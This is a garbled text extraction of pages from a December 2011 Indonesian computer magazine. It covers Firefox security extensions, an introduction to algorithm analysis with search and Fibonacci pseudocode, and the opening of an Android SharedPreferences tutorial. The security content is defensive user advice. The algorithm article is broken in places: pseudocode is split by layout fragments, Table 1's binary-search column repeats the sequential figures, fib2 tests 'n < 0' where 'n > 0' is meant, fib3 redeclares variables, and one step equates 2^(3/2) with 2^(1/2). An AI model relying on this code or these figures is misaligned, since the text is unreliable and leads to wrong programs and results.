Banyak orang yang tentu akan setuju bahwa internet mempermudah dan mempercepat arus informasi. Saat ini, berita terhangat (termasuk gosip selebritas) beredar lebih cepat melalui website berita maupun jejaring sosial ketimbang melalui televisi, radio, apalagi surat kabar. Aksesnya pun bisa di mana saja sejauh mendapatkan koneksi internet. Namun, apakah memang segalanya menjadi mudah? Tidak juga, terutama bagi banyak pengguna komputer saat ini. Berbagai ancaman malware mengintai saat Anda beraktivitas pada komputer yang terkoneksi internet. Kadang ancaman ini tidak disadari. Jadi, bukan hal aneh lagi jika seseorang tidak menyadari komputer yang digunakannya sudah menjadi tempat “peternakan” malware. Suka tidak suka, Anda mungkin harus mempersiapkan seperangkat software antivirus, firewall, dan software keamanan lainnya untuk melindungi kegiatan saat berinternet. Namun, tidak jarang bagi pengguna awam, hal ini malah menambah kebingungan. Saat berbagai software keamanan yang sensitif menampilkan pesan peringatan atau konfirmasi, mereka sering ragu dan stres untuk melakukan sesuatu karena tidak benar-benar memahami bentuk ancaman di internet dan tidak memahami cara kerja software keamanan yang berusaha mendeteksi ancaman tersebut. Bagi mereka, bisa jadi software

94

94_knowhow-JN_12_edit nur.indd 94

keamanan terasa lebih mengganggu ketimbang malware itu sendiri. Dalam artikel ini, dibahas alternatif lain. Andaikan suatu hal tidak memungkinkan Anda untuk menginstal antivirus dan software keamanan lainnya, Anda masih dapat menggunakan browser Mozilla Firefox beserta extension pendukungnya untuk menghadapi dan memahami berbagai ancaman di internet.

Mozilla Firefox Sebagai salah satu web browser open source yang populer, Mozilla Firefox mendapat banyak dukungan dalam pengembangannya, termasuk dalam pengembangan add-on yang memiliki fungsi tertentu. Add-on pada Firefox (https://addons.mozilla.org/en-US/ firefox) terbagi menjadi extension dan plugin. Saat ini banyak extension yang dibuat untuk membantu pengguna dalam menghadapi berbagai ancaman yang mengintai saat pengguna berinternet. Bagaimana bentuk ancaman tersebut dan menggunakan extension apa untuk mengatasinya? Hal itu kita bahas satu per satu di bawah ini. Sekadar informasi, versi Firefox yang digunakan pada semua contoh artikel ini adalah Firefox 6.0.2. Anda tidak perlu khawatir mencoba berbagai extension karena Anda dapat meng-uninstall setiap extension yang telah diinstal dengan

mudah. Anda cukup mengakses menu Tools > Add-ons pada browser Firefox lalu pilih menu Extensions dan remove extension yang Anda inginkan.

NoScript Malware tidak masuk begitu saja, melainkan karena adanya kode program yang tereksekusi, baik secara otomatis maupun di-trigger oleh aksi yang dilakukan pengguna. Kode program/script yang dapat berjalan pada browser yang Anda gunakan antara lain adalah JavaScript, Flash, dan Java. Pada website yang tepercaya, umumnya tidak akan ada masalah karena tidak terdapat script yang berbahaya. Namun, jika sering melakukan browsing atau diarahkan ke website-website lain, Anda perlu waspada jika terdapat script berbahaya pada website tersebut.

Gambar 1. Extension NoScript pada Firefox.

12/2011

11/1/2011 3:13:10 PM

Reverse Code Engineering KNOW-HOW

Extension NoScript yang beralamat di https://addons.mozilla.org/en-US/ firefox/addon/noscript/ dapat digunakan untuk mengeblok script dari website yang tidak dikenal. Caranya cukup download dan instal extension NoScript dari alamat di atas, restart Firefox, dan Anda akan mendapati menu NoScript di sebelah kiri address bar maupun saat klik kanan pada halaman web, seperti terlihat pada Gambar 1. Anda tidak perlu melakukan pengaturan awal. Biarkan NoScript bekerja otomatis saat Anda mengakses website tertentu yang memiliki script mencurigakan. Tentunya Anda dapat mengizinkan script tersebut berjalan jika yakin bahwa script tersebut tidak berbahaya. Anda juga dapat mengatur website mana saja yang diperbolehkan atau tidak untuk menjalankan script.

WOT Saat menggunakan NoScript dan mendapati bahwa salah satu website terdeteksi memiliki script mencurigakan, mungkin Anda ragu menentukan apakah website tersebut tepercaya atau tidak. Karena itu, Anda dapat menggunakan extension WOT (singkatan dari Web of Trust) yang beralamat di https://addons. mozilla.org/en-US/firefox/addon/wotsafe-browsing-tool/. Bagaimana cara WOT menentukan apakah suatu website tepercaya ataukah tidak? Jawabannya adalah menggunakan sistem rating berdasarkan reputasi dari pengguna. Sistem reputasi berdasarkan pengguna memang bukan hal baru. Beberapa software antivirus/keamanan terbukti cukup efektif menggunakannya.

Gambar 2. WOT untuk melihat rating website.

12/2011

94_knowhow-JN_12_edit nur.indd 95

Untuk setiap website yang Anda akses, akan tampil icon WOT yang menampilkan rating website tersebut. Contohnya terlihat seperti pada Gambar 2. Website http://www.virusindonesia.com memiliki rating Excellent yang mengindikasikan website tersebut merupakan website tepercaya. Sebagai pengguna, Anda tentu juga dapat berkontribusi memberikan rating pada website tertentu. Umumnya, website-website yang tidak memiliki traffic tinggi belum memiliki rating.

AdBlock Plus Extension ini beralamat di https://addons.mozilla.org/en-US/firefox/addon/adblock-plus/. Sesuai namanya, ia berfungsi untuk mengeblok iklan atau banner yang mengganggu yang bisa saja mengarahkan Anda ke web berbahaya. Anda juga dapat mengatur rule sendiri pada AdBlock Plus, misalnya mengeblok gambar atau flash tertentu. Pada Gambar 3 diperlihatkan AdBlock Plus menampilkan menu kecil bertuliskan “Block...” pada animasi flash yang dapat diklik oleh pengguna jika ingin mengeblok flash tersebut.

Unshorten.It! Anda mungkin telah mengenal berbagai layanan URL shortening, seperti yang disediakan oleh http://goo.gl atau http://tinyurl.com. Dengan layanan ini, Anda dapat menyulap link yang panjang menjadi link yang pendek sehingga memudahkan dalam penulisan jika ingin mendistribusikannya melalui jejaring sosial atau website lainnya. Namun, kerugiannya, banyak yang

Gambar 3. AdBlock membantu mengeblok iklan yang mengganggu.

memanfaatkan URL shortening untuk menyamarkan website berbahaya dan menyebarkannya, sementara pengguna tidak langsung dapat mengetahui link asli sebelum mengeklik URL tersebut. Extension Unshorten.It! yang beralamat di https://addons.mozilla.org/enUS/firefox/addon/unshortenit/ dapat membantu Anda yang ragu-ragu pada link URL shortening dan ingin memeriksanya terlebih dahulu. Cara kerjanya adalah menganalisis sumber asli link tersebut, komplet dengan screenshot dan rating yang disediakan oleh WOT (Anda tidak perlu menginstal extension WOT untuk menggunakan extension ini). Jika extension ini telah terinstal, Anda dapat mengeklik kanan link yang dicurigai dan memilih menu Unshorten this link..., maka sebuah tab browser akan terbuka dan menampilkan analisis seperti contoh pada Gambar 4.

Ghostery Sering pengguna mengunjungi website tanpa mengetahui apa saja yang ada di balik website tersebut. Melalui Ghostery, pengguna dapat memperoleh berbagai informasi lebih lanjut mengenai website yang dikunjunginya. Ghostery sendiri merupakan salah satu extension populer yang multifungsi, tersedia di alamat https://addons.mozilla.org/enUS/firefox/addon/ghostery/. Pada Gambar 5 diperlihatkan salah satu fungsi Ghostery menampilkan elemen third party yang terdapat pada website. Perhatikan pada pojok kanan atas, yang menunjukkan bahwa halaman website tersebut memiliki elemen iklan seperti DoubleClick dan

Gambar 4. Unshorten.It! menganalisis link asli dari short URL.

95

11/1/2011 3:13:14 PM

KNOW-HOW Reverse Code Engineering

Gambar 5. Ghostery melacak elemen third party pada halaman website.

Gambar 6. Informasi IP dan lokasi ditampilkan oleh extension WorldIP.

Gambar 8. JSView menampilkan source code script eksternal.

Google Adsense, juga elemen lain seperti plugin Facebook Connect dan Google Analytics. Anda dapat mengeblok elemen-elemen ini melalui Ghostery jika menginginkannya. Ghostery juga memiliki opsi blok pada bug website dan cookie protection (yang saat ini masih eksperimental).

WorldIP Bagi mereka yang berkecimpung di bidang keamanan, salah satu cara untuk melacak website mencurigakan adalah melihat informasi IP, lokasi web server, ataupun data center di mana website itu berada. Dengan extension WorldIP (https://addons.mozilla.org/en-US/ firefox/addon/worldip-flag-and-datacenter-pi), Anda dapat memperoleh semua informasi tersebut dengan mudah. Setelah menginstal extension ini, informasi tersebut akan terlihat di sebelah kanan alamat website yang Anda kunjungi, terlihat seperti pada Gambar 6.

JavaScript Deobfuscator Pada berbagai website modern, JavaScript merupakan primadona yang membuat website mampu menampilkan fitur-fitur canggih. JavaScript berjalan pada sisi client/browser dan karena itu, source code-nya dapat terlihat oleh pengguna, tetapi tetap saja rawan digunakan oleh pihak yang memiliki tujuan jahat. Source code JavaScript sendiri dapat dibuat menjadi sulit terbaca untuk menyulitkan sese-

96

94_knowhow-JN_12_edit nur.indd 96

Gambar 7. JavaScript Deobfuscator menampilkan kode JavaScript yang dieksekusi pada halaman web.

Gambar 9. Clean the junk membersihkan halaman web.

orang dalam memahami kodenya. Extension JavaScript Deobfuscator (https://addons.mozilla.org/en-US/ firefox/addon/javascript-deobfuscator) dapat menampilkan JavaScript yang dieksekusi atau di-generate on the fly dan menampilkannya dalam format yang mudah terbaca (bahkan jika JavaScript tersebut di-obfuscated) sehingga pengguna dapat mempelajari dan menganalisis apakah kode tersebut aman atau berbahaya. Tentunya pengguna harus memiliki pemahaman mengenai pemrograman JavaScript. Tampilannya terlihat pada Gambar 7.

JSView Setiap browser populer memiliki fitur untuk melihat source code halaman yang dibuka, yang terkadang diperlukan untuk menganalisis apakah terdapat kode mencurigakan pada sebuah halaman web atau tidak ada. Namun, sayangnya isi kode script-script eksternal seperti JavaScript dan CSS yang ada pada file terpisah tidak ditampilkan. Jika Anda memerlukan extension yang dapat memperlihatkan kode script eksternal dengan mudah, JSView yang beralamat di https://addons.mozilla. org/en-US/firefox/addon/jsview/ merupakan pilihan yang tepat. Pada setiap website yang Anda kunjungi, cukup klik kanan dan akan tampil sebuah menu dari JSView yang menunjukkan jumlah dan nama file JavaScript maupun CSS. Tiap-tiap file tersebut dapat diklik untuk

menampilkan source code-nya. Contohnya terlihat pada Gambar 8.

Clean the Junk Terkadang, banner dan iklan dalam bentuk flash dan objek lainnya dapat mengganggu kenyamanan, terlebih lagi jika pengguna diarahkan ke website berbahaya oleh elemen-elemen yang dapat disalahgunakan. Dengan sekali klik, extension Clean the Junk (https://addons. mozilla.org/en-US/firefox/addon/cleanthe-junk/) dapat membersihkan halaman website dari iframe, objek flash, video, musik, dan Java applet sehingga halaman website bersih dari pernak-pernik yang mengganggu. Tombol Clean the junk akan tampil pada navigation bar seperti terlihat pada Gambar 9.

Penutup Masih banyak sekali extension lain yang tidak mungkin dibahas dalam artikel ini. Sementara itu, mungkin tidak seluruh extension yang dibahas di atas cocok digunakan untuk aktivitas Anda sehari-hari. Namun, barangkali Anda akan menemukan bahwa beberapa extension dapat menjadi favorit Anda dan memberikan lebih banyak rasa aman daripada sebelumnya dalam beraktivitas di internet.

LEBIH LANJUT http://en.wikipedia.org/wiki/Add-on_ (Mozilla)

12/2011

11/1/2011 3:13:15 PM

cakraweb+ardhost.indd 1

02/11/2011 14:32:13

KNOW-HOW Algoritma

MENGENAL ANALISIS ALGORITMA Bagaimana melakukan analisis algoritma? Windra Swastika

Jika Anda bekerja dengan program komputer, apa pun itu, di dalamnya terdapat puluhan, ratusan, ribuan, atau mungkin jutaan langkah agar program tersebut dapat benar-benar dijalankan sesuai dengan fungsinya. Contoh sederhananya adalah pada program pengolah kata. Salah satu fitur yang sangat umum adalah melakukan pencarian (yang biasanya dapat dijalankan dengan menggunakan shortcut Ctrl+F). Ketika kata yang hendak dicari telah dimasukkan, apa sebenarnya yang dilakukan oleh program sehingga kata tersebut bisa ditemukan (kalau memang ada)? Program pengolah kata tersebut menjalankan langkah-langkah tertentu untuk mengolah masukan tersebut dan “mencari”-nya dari serangkaian teks yang ada. Semakin banyak teks, maka pencarian akan semakin mema kan waktu (atau waktu komputasi yang dibutuhkan semakin besar). Selain itu, waktu komputasi yang lama dapat juga disebabkan oleh langkah-langkah pencarian yang tidak efisien. Dalam kehidupan sehari-hari, ambil contoh kita hendak mencari arti kata “magnitude” di kamus Inggris-Indonesia. Lamanya waktu pencarian bergantung pada apa saja? Pertama bergantung pada tebalnya kamus. Untuk kamus setebal seratus halaman, tentu waktu pencarian akan jauh lebih singkat ketimbang melakukan pencarian untuk kamus setebal dua ribu halaman. Kedua, lamanya waktu pencarian bergantung pada metode/langkah pencarian kata tersebut. Kita bisa menelusuri dari halaman pertama, kedua, ketiga, dan seterusnya sampai mendapatkan

98

98_knowhow-WS_12 edit nur.indd 98

kata “magnitude” di halaman yang sedang ditelusuri atau kasus terburuk adalah penelusuran sampai halaman terakhir tanpa berhasil menemukan kata “magnitude”. Namun, tentu tidak ada seorang pun yang melakukan pencarian dengan cara seperti ini. Dengan petunjuk umum bahwa kamus diurutkan berdasarkan abjad, kita dapat menelusuri dengan langsung membuka kamus dari tengah. Jika di halaman tersebut didapati sekumpulan kata yang diawali dengan huruf “g”, kita bisa dengan cepat memutuskan untuk membalik beberapa puluh atau ratus lembar sesudahnya tanpa perlu memeriksa halaman-halaman sebelumnya (karena dapat dipastikan bahwa kata “magnitude” ditemukan di halaman-halaman sebelumnya). Jika ketika membuka beberapa puluh atau beberapa ratus halaman di depannya ternyata sampai pada kata yang diawali dengan abjad “S”, kita dapat memutuskan untuk melakukan pencarian pada halaman-halaman sebelumnya. Begitu seterusnya hingga kata yang dicari ditemukan (atau bisa juga tidak ada di dalam kamus). Dalam komputer, pencarian dengan menggunakan metode pertama disebut dengan sequential search (melakukan pencarian dari awal hingga akhir), sedangkan metode kedua disebut dengan binary search (melakukan pencarian dengan membagi dua medan pencarian). Fungsi keduanya sama, yaitu melakukan pencarian, tetapi penerapannya atau langkah-langkahnya berbeda. Dalam melakukan pencarian, program komputer dapat menerapkan salah satu dari kedua metode tersebut.

Manakah Metode Pencarian yang Lebih Cepat? Dalam banyak kasus, ketika diterapkan pada komputer, dengan metode kedua (binary search) dibutuhkan waktu pencarian yang lebih singkat dibandingkan metode pertama. Tidak selalu memang, tetapi sering lebih cepat. Sebagai contoh, untuk menemukan kata “add” pada kamus dengan metode sequential search, Anda akan berhasil menemukannya dengan cepat karena kata “add” ada pada awal-awal daftar kata. Sementara itu, jika menggunakan metode binary search yang melakukan pencarian mulai dari tengah, waktu komputasinya akan sedikit lebih lama dibandingkan dengan metode sequential search. Kasus di atas merupakan contoh langkah-langkah untuk memecahkan masalah dengan menggunakan lebih dari satu pendekatan. Walaupun hasil yang dimunculkan sama-sama benar, ketika pendekatan yang dipilih salah, waktu komputasi akan menjadi lama. Dalam ilmu komputer, penyusunan langkah-langkah untuk memecahkan masalah disebut dengan algoritma. Algoritma nantinya diterapkan dalam bahasa pemrograman tertentu, misalnya C++ atau Java. Seorang programmer tentu ingin menyusun (atau memilih) algoritma yang tepat agar dapat menyelesaikan masalah dengan tepat. Namun, menyelesaikan masalah dengan tepat belum cukup. Sangat perlu dipertimbangkan efi siensi algoritma yang disusunnya, waktu komputasinya ketika algoritmanya dihadapkan pada kasus-kasus ekstrem, dan banyaknya CPU cycles (atau waktu komputasi) 12/2011

11/2/2011 11:58:51 AM

Algoritma KNOW-HOW

yang digunakan untuk menyelesaikan masalah ketika algoritma tersebut telah ditulis dalam bahasa pemrog raman tertentu dan dijalankan di komputer. Dengan semakin cepatnya clock komputer, tentu muncul pertanyaan “mengapa programmer harus peduli akan efisiensi algoritma?” dan “ketika sudah dijalankan di sebuah komputer dengan clock yang tinggi, apalah arti algoritma yang efisien?”. Semua akan dapat diselesaikan dengan sekejap. Tunggu dulu. Clock komputer memang semakin cepat. Namun, data juga semakin bertambah banyak. Mesin pencari Google pasti tidak akan menggunakan sequential search sebagai metode pencarian. Medan pencarian yang ada sudah bukan dalam hitungan jutaan, tetapi miliaran dan setiap hari terus bertambah.

Pentingnya Mengembangkan Algoritma yang Efisien Seberapa besar algoritma yang efisien dapat berpengaruh terhadap waktu komputasi? Mari kita coba bandingkan efisiensi sequential search dan binary search. Algoritma 1. Sequential Search

Masalah: apakah x ada di array S yang terdiri dari n buah data?

Masukan(parameter): - bilangan bulat positif n - array S (yang terdiri dari n buah data) - x (yang merupakan data yang hendak dicari)

Keluaran: - Lokasi (yang merupakan lokasi x di array S – bernilai 0 ketika x tidak ditemukan di array S)

int seqsearch(int n, tipedata S[], tipedata x) { location = 1; while (location <= n && S[location] != x) location++; if (location > n) location = 0;

12/2011

98_knowhow-WS_12 edit nur.indd 99

Algoritma 2. Binary search return location; }

int binsearch (int n, tipedata S[], tipedata x) { index low, high, mid;

Walaupun mirip dengan bahasa pemrograman C++, kode di atas bukanlah kode yang dapat dijalankan langsung atau di-compile dengan menggunakan compiler C++. Kode di atas disebut dengan pseudocode. Pseudocode ditulis untuk memudahkan programmer dalam membaca atau memahami algoritma tanpa terjebak dengan kekakuan bahasa pemrograman tertentu. Tentu untuk menerapkan ke dalam bahasa pemrograman tertentu (agar dapat dieksekusi), diperlukan pengubahan ke dalam sintaks yang tepat sesuai dengan ketentuan bahasa pemrograman. Dalam pseudocode di atas, kita asumsikan bahwa indeks array dimulai dari 1. Dengan begitu, ketika ada n buah data, array S akan memiliki indeks dari 1 hingga n (pada bahasa pemrograman seperti C++ atau Java, indeks suatu array dimulai dari 0). Tipedata merupakan tipe data yang dapat ditampung di dalam array. Dalam penerapannya, tipe data ini dapat berupa char, bilangan atau teks. Pseudocode di atas dapat digunakan untuk melakukan pencarian secara sequential. Data yang dicari diletakkan dalam variabel x dan pencarian dilakukan pada data yang ada di dalam array S. Pencarian dilakukan mulai dari indeks pertama sampai dengan indeks terakhir (atau n) dengan perintah while. Selama lokasi yang masih lebih masih kecil atau sama dengan n dan data masih belum ditemukan di array S (while (location <= n && S[location] != x)), lokasi pencarian akan ditambah 1 (location++;). Ada dua kemungkinan setelah keluar dari perulangan while tersebut. Pertama, data memang ditemukan. Kedua, data tidak ditemukan. Untuk kemungkinan data yang tidak ditemukan, ditandai dengan lokasi yang bernilai lebih dari n (pencarian sampai data terakhir ternyata x masih tidak ditemukan) sehingga lokasi diberi nilai 0 sebagai tanda bahwa data x tidak ditemukan (if (location > n) location=0;).

low = 1; high = n; location = 0; while (low < = high &&

location

== 0){ mid = (low + high)/2; if (x == S[mid]) location = mid; else if (x < S[ mid ]) high = mid - 1; else low = mid + 1; } return location; }

Pseudocode di atas merupakan pseudocode dari binary search yang memiliki permasalahan, masukan, dan keluaran yang sama dengan sequential search (plus fakta bahwa data S memiliki data yang telah terurut). Secara umum, proses kerja binary search adalah melakukan pencarian yang dimulai dari tengah (mid = (low+high)/2;). Pembagian tersebut merupakan pembagian bilangan bulat (ke bawah) dan variabel mid difungsikan sebagai indeks pencarian. Ada tiga kemungkinan berikut ini. S[mid] sama dengan x (yang artinya data yang dicari berhasil ditemukan pada posisi ke-mid). Data x ternyata lebih kecil daripada S[mid] (sehingga pencarian berikutnya difokuskan di lokasi sebelum low sampai mid (mengubah high menjadi mid-1). Data x ternyata lebih besar daripada S[mid] (sehingga pencarian berikutnya difokuskan di lokasi sesudah mid sampai high (mengubah low menjadi mid+1). Proses tersebut diulang sampai tidak ada data lagi yang bisa dicari.

Perbandingan Efisiensi Sequential Search dan Binary Search Seandainya jumlah data pada S adalah 32 buah dan data yang dicari, x, tidak ada dalam array (kemungkinan terbu-

99

11/2/2011 11:58:29 AM

KNOW-HOW Algoritma

ruk), sequential search akan melakukan pembandingan data sebanyak 32 kali sebelum akhirnya sequential search mengembalikan nilai 0 (atau x tidak ada dalam daftar). Untuk binary search, ada setidaknya dua pembandingan yang dilakukan. Namun, proses selesainya pencarian akan lebih singkat karena adanya “lompatan” pencarian dengan cara mengubah lokasi awal atau akhir pencarian sesuai dengan kondisi pembandingan. Seandainya data yang dicari, x, ternyata lebih besar daripada semua data yang ada di S (sehingga pencarian tidak menemukan data x pada array S), berapa banyak pengulangan yang dilakukan pada pencarian sejumlah 32 data? Pertama, pencarian akan dilakukan pada S[16]. Berikutnya, karena data x lebih besar, pencarian dilanjutkan pada data di depannya, yaitu S[24] (dari (17+32)/2). Berikutnya, berturut-turut pencarian akan dilakukan pada S[28], S[30], S[31], dan S[32]. Jumlah pencarian (atau waktu komputasinya) adalah 6 (bukan 32 seperti pada sequential search). Secara umum, besarnya waktu komputasi pada binary search adalah (log n + 1). Log yang dimaksud adalah log2. Jika jumlah data digandakan menjadi 64 buah, sequetial search akan menghabiskan waktu komputasi sebesar 64, sedangkan binary search menghabiskan waktu log 64 + 1 = 7. Secara umum, pada binary search, ketika kita menggandakan jumlah data, pembandingan hanya bertambah

TABEL 1. PERBANDINGAN WAKTU KOMPUTASI PADA SEQUENTIAL SEARCH DAN BINARY SEARCH Ukuran Array

Jumlah Pembandingan: Jumlah Pembandingan: Sequential Search Binary Search

128 1.024 1.048.576 4.294.967.296

128 1.024 1.048.576 4.294.967.296

1, sedangkan pada sequential search, pembandingan akan bertambah dua kali lipat. Tabel 1 menunjukkan pengaruh jumlah data terhadap jumlah pembandingan (atau waktu komputasi) pada sequential search dan binary search. Kasus pencarian dengan jumlah data miliaran mungkin masih dapat diatasi dalam waktu “sekejap” oleh komputer dengan clock speed yang tinggi. Contoh berikut merupakan contoh ketika jumlah data yang besar tidak lagi dapat diselesaikan dalam waktu “sekejap”.

100

98_knowhow-WS_12 edit nur.indd 100

gan menggunakan fungsi rekursif seperti pada algoritma berikut. Algoritma 3. Deret Fibonaci (Rekursif)

Masalah: menentukan suku ke-n dari suatu Deret Fibonaci.

Masukan: - Bilangan bulat non-negatif n.

Keluaran: - Suku ke-n dari Deret Fibonaci

int fib (int n) {

Kasus Deret Fibonaci Banyak penerapan deret fibonaci dalam bidang matematika atau komputer. Untuk bidang komputer, beberapa di antaranya adalah sebagai pseudo random generator, kompresi data, pengurutan pada metode merge sort, dan sebagainya. Deret fibonaci merupakan deret matematika yang didefinisikan secara rekursif sebagai berikut: F0=0 F1=1 Fn=Fn-1+Fn-2 untuk n >= 2. Untuk beberapa deret pertama, kita bisa dapatkan: F2=F1+F0=1+0=1 F3=F2+F1=1+1=2 F4=F3+F2=1+2=3 F5=F4+F3=2+3=5 dan seterusnya.

Gambar 1. Proses untuk mendapatkan fib(5).

8 11 21 33

Karena deret fibonaci didefinisikan secara rekursif, kita bisa mendapatkan suku ke-n dari deret ini den-

if (n <=

1)

return n; else return fib (n - 1) + fib (n-2); }

Masukan bilangan bulat “nonnegatif” berarti semua bilangan bulat yang lebih besar atau sama dengan 0. Meskipun algoritma ini mudah dipahami dan diterapkan dalam bahasa pemrograman tertentu, algoritma dalam bentuk pseudocode di atas sangat tidak efisien. Untuk mendapatkan fib(0) dan fib(1), jumlah proses yang dilakukan hanya 1 (tidak dibutuhkan pemanggilan fungsi fib lain). Untuk mendapatkan fib(2) (fib(2)=fib(1) +fib(0)), jumlah pemanggilan fungsi fib sebanyak tiga kali, yaitu fib(2), fib(1), dan fib(0) yang masingmasing sekali. Untuk mendapatkan fib(3) (fib(3)=fib(2) + fib(1)), jumlah pemanggilan fungsi fib meningkat menjadi 5 kali, yaitu fib(3) 1 kali, fib(2) yang membutuhkan 3 jumlah pemanggilan, dan fib(1) yang membutuhkan 1 kali pemanggilan. Untuk mendapatkan fib(4), jumlah pemanggilan fungsi fib 12/2011

11/2/2011 11:58:32 AM

Algoritma KNOW-HOW

adalah 9 kali, yaitu fib(4), fib(3) yang membutuhkan 5 pemanggilan, dan fib(2) yang membutuhkan pemanggilan sebanyak 3 kali. Algoritma di atas menjadi tidak efisien ketika terjadi pemanggilan fungsi fib yang berulang-ulang. Sebagai contoh, untuk mendapatkan fib(5), proses menghitung fib(3) dilakukan setidaknya 2 kali (yaitu pada level pertama fib(4)+fib(3) dan level kedua ketika menghitung fib(4)). fib(2) setidaknya harus dipanggil 3 kali, fib(1) sebanyak 5 kali, dan fib(0) sebanyak 3 kali. Perhatikan Gambar 1 untuk lebih jelasnya. Lamanya waktu komputasi untuk mendapatkan suku ke-n deret fibonaci adalah: T(n)= 1 untuk n<2, dan T(n)=T(n-1)+T(n-2)+1 untuk n>=2.

kan bahwa basis induksi tersebut benar untuk m < n, dapat disimpulkan bahwa pernyataan tersebut juga benar untuk semua n. Sebagai contoh, untuk semua m berlaku: 2 <= m < n, maka: T(m) > 2^(m/2) Langkah induksi: jumlah proses T(n) sebenarnya merupakan penjumlahan proses dari T(n-1) dengan T(n-2) ditambah 1. T(n) = T(n-1) + T(n-2) + 1 > 2^(n-1)/2 + 2^(n-2)/2 + 1 > 2^(n-2)/2 + 2^(n-2)/2 = 2 x 2^((n/2)1)=2^(n/2) – terbukti. Adakah pendekatan lain untuk mendapatkan suku ke-n deret fibonaci? Ada. Perhatikan algoritma berikut. int fib2 (int n) { int i; int f[n];

Seberapa buruk waktu komputasi tersebut? Secara umum, untuk mendapatkan fibonaci ke-n dengan menggunakan fungsi rekursif akan dibutuhkan waktu komputasi yang lebih besar daripada 2^(n/2). Untuk membuktikannya, kita dapat menggunakan induksi matematika sederhana. Jika T(n) adalah jumlah proses untuk pemanggilan fungsi fib(n) secara rekursif, untuk n>1 berlaku: T(n) > 2^(n/2) Basis induksi: kita membutuhkan dua kasus sebagai basis pembuktian. Untuk n=2 dan n=3: Untuk T(2), waktu komputasi yang dibutuhkan adalah = 3, di mana lebih besar daripada 2^(2/2) = 2. Untuk T(3), waktu komputasi yang dibutuhkan adalah = 5, di mana lebih besar daripada 2^(3/2) = 2^(1/2) = 2.83 Hipotesis induksi: dengan mengasumsi-

f[0] = 0; if (n < 0) f[1] = 1; for (i = 2; i<= n; i++) f[i] = f[i - 1] + f [i -2 ]; } return f[ n ]; }

Algoritma dalam bentuk pseudocode di atas menghasilkan keluaran yang sama dengan algoritma rekursif sebelumnya. Pada algoritma ini, perhitungan tidak dilakukan berulang-ulang seperti algoritma sebelumnya. Setiap suku akan dihitung tepat sekali dan disimpan ke dalam array untuk kemudian dimanfaatkan dalam proses berikutnya. Metode lain yang memiliki waktu kom putasi yang sama, tetapi tanpa menggunakan array dapat dilihat pada algoritma berikut:

TABEL 2. PERBANDINGAN WAKTU KOMPUTASI UNTUK MENCARI SUKU KE-N DERETFIBONACI n

Waktu Komputasi (Rekursif) (2^(n/2))

Waktu Komputasi (Nonrekursif)

40 60 80 100 120

1.048.576 1.1 x 10^9 1.1 x 10^12 1.1 x 10^15 1.2 x 10^18

40 60 80 100 120

12/2011

98_knowhow-WS_12 edit nur.indd 101

int fib3 (int n) { int i, result; int prev=-1; int result=1; for (i = 0;i<=n; i++) { sum=result+prev; prev=result; result=sum } return result; }

Tentunya algoritma terakhir merupakan algoritma yang lebih efisien, baik dari sisi waktu komputasi maupun sisi memory. Perhitungan yang dijalankan akan berbanding lurus dengan jumlah n. Tabel 2 adalah tabel perbandingan waktu komputasi algoritma deret fibonaci dengan menggunakan rekursif dan nonrekursif. Untuk menghitung suku ke-120 deret fibonaci dengan menggunakan fungsi rekursif, akan dibutuhkan waktu komputasi sebesar 1.2 x 10^18. Jika proses tersebut dilakukan pada kom puter dengan clock speed ratarata, tetap saja akan dibutuhkan waktu yang sangat lama untuk menampil kan hasil suku ke-120 dari deret fibonaci.

Penutup Algoritma untuk binary search dan mencari deret fibonaci suku ke-n disebut sebagai algoritma divide and conquer. Seperti yang telah dibahas, algoritma divide and conquer dapat menjadi efisien untuk memecahkan permasalahan seperti halnya pada binary search, tetapi juga dapat menyebabkan inefisiensi ketika diterapkan pada masalah yang berbeda. Pada edisi mendatang akan dibahas penghitungan efisiensi algoritma secara detail dengan menggunakan notasi big-Oh. Windra Swastika, Dosen Teknik Informatika, Universitas Ma Chung, Malang.

LEBIH LANJUT Neapolitan, Richard and Kumars. Foundation of Algorithms Using C++ Pseudocode, Third Edition.

101

11/2/2011 11:58:32 AM

KNOW-HOW

Coding

MENYIMPAN DATA DI ANDROID ON THE DISC

Pengelolaan Data Aplikasi Zamrony P. Juhara

Mengapa Butuh Penyimpanan Data?

Menggunakan Shared Preferences

Aplikasi sering harus menyimpan data yang nantinya digunakan kembali. Sebagai contoh, aplikasi mungkin mengizinkan pengguna untuk mengatur konfigurasi sesuai keinginannya. Data konfigurasi perlu disimpan agar ketika aplikasi dijalankan, aplikasi dapat menerapkan pengaturan yang sebelumnya dibuat oleh pengguna (lihat Gambar 1).

Android menyediakan tipe SharedPreferences untuk mengelola preferensi pengguna. Tipe ini menyediakan fungsionalitas untuk memuat atau menulis data sederhana dengan susunan pasangan key/value. Jika data yang aplikasi Anda kelola berbentuk pasangan key/value, SharedPreferences cocok untuk digunakan.

Penyimpanan Shared Preferences Mekanisme Penyimpanan Data Metode penyimpanan data yang tersedia di platform Android adalah: SharedPreferences, File, dan SQLite.

SharedPreferences menyimpan datanya dalam file XML di direktori bernama /data/data/[package]/shared_prefs di mana [package] adalah nama paket aplikasi Anda (lihat Gambar 2). Contoh isi file XML preferensi adalah Listing 1. Untungnya, dengan SharedPreferences, Anda tidak perlu mengelola sendiri file tersebut. Proses baca-tulis ke file XML dikerjakan dengan perantara metodemetode SharedPreferences.

Mendapatkan Instance SharedPreferences Untuk mendapatkan instance SharedPreferences, Anda panggil metode getSharedPreferences() (Listing 2) atau getPreferences() (Listing 3). Keduanya mengembalikan data bertipe SharedPreferences.

Gambar 1. Contoh dialog pengaturan konfigurasi.

102

102_knowhow-ZPJ_12_edit nur.indd 102

Metode getSharedPreferences() adalah metode anggota tipe android.content. Context, sedangkan getPreferences() adalah metode anggota tipe Activity. Perbedaan metode getSharedPreferences() dan getPreferences() terletak pada bagaimana data akan digunakan antar-instance Activity dalam satu aplikasi. Bila ingin beberapa instance Activity dalam aplikasi yang sama dapat berbagi data preferensi, Anda gunakan getSharedPreferences(). Bila data preferensi hanya tersedia untuk instance Activity yang menciptakannya, Anda gunakan getPreferences(). Metode getSharedPreferences() mengharapkan dua parameter. Parameter pertama adalah nama preferensi. Nama yang Anda gunakan akan menjadi nama file XML di mana preferensi disimpan (lihat Gambar 2). Parameter kedua adalah mode penciptaan file, yakni MODE_PRIVATE (aplikasi yang bisa mengakses hanya aplikasi yang menciptakannya), MODE_WORLD_READABLE (aplikasi lain bisa membaca file), MODE_WORLD_WRITEABLE (aplikasi lain bisa menulis data ke file), MODE_APPEND (aplikasi memuat file yang sudah ada dan menambah data baru ke akhir file) dan lain-lain.

Gambar 2. Lokasi file XML berisi data preferensi.

12/2011

